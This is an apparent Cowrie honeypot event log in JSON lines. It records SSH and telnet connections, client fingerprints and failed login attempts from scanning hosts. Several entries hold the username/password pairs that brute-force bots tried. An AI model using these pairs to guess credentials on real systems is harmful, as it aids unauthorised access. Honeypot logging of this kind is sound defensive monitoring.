{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:08.174707Z","src_ip":"210.90.155.178","session":"011f20cb07d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"Password321","message":"login attempt [admin/Password321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:09.030767Z","src_ip":"210.90.155.178","session":"011f20cb07d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":36122,"dst_ip":"159.203.135.109","dst_port":23,"session":"283c32fbb70d","protocol":"telnet","message":"New connection: 170.64.224.25:36122 (159.203.135.109:23) [session: 283c32fbb70d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:09.977764Z"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:10.241251Z","src_ip":"210.90.155.178","session":"011f20cb07d8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.244.109","src_port":36498,"dst_ip":"159.203.135.109","dst_port":22,"session":"d1939e992ea3","protocol":"ssh","message":"New connection: 192.169.244.109:36498 (159.203.135.109:22) [session: d1939e992ea3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:24.606989Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:24.611052Z","src_ip":"192.169.244.109","session":"d1939e992ea3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:24.675874Z","src_ip":"192.169.244.109","session":"d1939e992ea3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ltcwallet","password":"litecoin123","message":"login attempt [ltcwallet/litecoin123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:24.870312Z","src_ip":"192.169.244.109","session":"d1939e992ea3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.16.115.34","src_port":38250,"dst_ip":"10.17.0.5","dst_port":22,"session":"7b7af5a12534","protocol":"ssh","message":"New connection: 154.16.115.34:38250 (10.17.0.5:22) [session: 7b7af5a12534]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:24.997972Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:25.002606Z","src_ip":"154.16.115.34","session":"7b7af5a12534","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:25.027574Z","src_ip":"154.16.115.34","session":"7b7af5a12534","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"DASH!M@st3r#P@ss","message":"login attempt [root/DASH!M@st3r#P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:25.104507Z","src_ip":"154.16.115.34","session":"7b7af5a12534","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:25.938243Z","src_ip":"192.169.244.109","session":"d1939e992ea3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:26.130967Z","src_ip":"154.16.115.34","session":"7b7af5a12534","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"94.138.209.214","src_port":56674,"dst_ip":"159.203.135.109","dst_port":22,"session":"94fd48edd921","protocol":"ssh","message":"New connection: 94.138.209.214:56674 (159.203.135.109:22) [session: 94fd48edd921]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:32.738122Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:32.742022Z","src_ip":"94.138.209.214","session":"94fd48edd921","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:32.873441Z","src_ip":"94.138.209.214","session":"94fd48edd921","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"muie123","message":"login attempt [ubuntu/muie123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:33.433988Z","src_ip":"94.138.209.214","session":"94fd48edd921","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.182.83.231","src_port":42774,"dst_ip":"10.17.0.5","dst_port":22,"session":"dd388ad9bed2","protocol":"ssh","message":"New connection: 5.182.83.231:42774 (10.17.0.5:22) [session: dd388ad9bed2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:33.674190Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:33.678097Z","src_ip":"5.182.83.231","session":"dd388ad9bed2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:33.795718Z","src_ip":"5.182.83.231","session":"dd388ad9bed2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"abc@123456","message":"login attempt [ubuntu/abc@123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:34.316793Z","src_ip":"5.182.83.231","session":"dd388ad9bed2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:34.567198Z","src_ip":"94.138.209.214","session":"94fd48edd921","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:35.437900Z","src_ip":"5.182.83.231","session":"dd388ad9bed2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":56954,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd16d3bc6a4e","protocol":"telnet","message":"New connection: 137.184.5.188:56954 (159.203.135.109:23) [session: dd16d3bc6a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:36.746031Z"}
{"eventid":"cowrie.session.connect","src_ip":"101.32.145.199","src_port":45734,"dst_ip":"10.17.0.5","dst_port":22,"session":"d5e53a353f59","protocol":"ssh","message":"New connection: 101.32.145.199:45734 (10.17.0.5:22) [session: d5e53a353f59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:36.960757Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:36.964738Z","src_ip":"101.32.145.199","session":"d5e53a353f59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:37.202278Z","src_ip":"101.32.145.199","session":"d5e53a353f59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Ta123456","message":"login attempt [root/Ta123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:38.195367Z","src_ip":"101.32.145.199","session":"d5e53a353f59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:39.435987Z","src_ip":"101.32.145.199","session":"d5e53a353f59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.5.188","src_port":57894,"dst_ip":"159.203.135.109","dst_port":23,"session":"2f442a37a46d","protocol":"telnet","message":"New connection: 137.184.5.188:57894 (159.203.135.109:23) [session: 2f442a37a46d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:43.387726Z"}
{"eventid":"cowrie.session.closed","duration":70.01444792747498,"message":"Connection lost after 70 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:54.417327Z","src_ip":"170.64.224.25","session":"17bd63fef925","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":46.48617625236511,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:01:56.463827Z","src_ip":"170.64.224.25","session":"283c32fbb70d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59812,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f99d029c395","protocol":"telnet","message":"New connection: 170.64.224.25:59812 (159.203.135.109:23) [session: 8f99d029c395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:06.496632Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.86.192.66","src_port":56712,"dst_ip":"10.17.0.5","dst_port":22,"session":"061adc5b1e76","protocol":"ssh","message":"New connection: 195.86.192.66:56712 (10.17.0.5:22) [session: 061adc5b1e76]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:08.174232Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:08.177959Z","src_ip":"195.86.192.66","session":"061adc5b1e76","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:08.404983Z","src_ip":"195.86.192.66","session":"061adc5b1e76","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"222.108.100.117","src_port":38154,"dst_ip":"10.17.0.5","dst_port":22,"session":"e02fb89efda2","protocol":"ssh","message":"New connection: 222.108.100.117:38154 (10.17.0.5:22) [session: e02fb89efda2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:08.582985Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:08.590573Z","src_ip":"222.108.100.117","session":"e02fb89efda2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:08.795791Z","src_ip":"222.108.100.117","session":"e02fb89efda2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"1qazxsw2","message":"login attempt [admin/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:09.351005Z","src_ip":"195.86.192.66","session":"061adc5b1e76","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test","message":"login attempt [root/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:09.649228Z","src_ip":"222.108.100.117","session":"e02fb89efda2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:10.580364Z","src_ip":"195.86.192.66","session":"061adc5b1e76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:10.856306Z","src_ip":"222.108.100.117","session":"e02fb89efda2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.89117670059204,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:15.278743Z","src_ip":"137.184.5.188","session":"2f442a37a46d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"157.230.18.133","src_port":53976,"dst_ip":"159.203.135.109","dst_port":22,"session":"e4de7259a941","protocol":"ssh","message":"New connection: 157.230.18.133:53976 (159.203.135.109:22) [session: e4de7259a941]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T02:02:20.484314Z"}
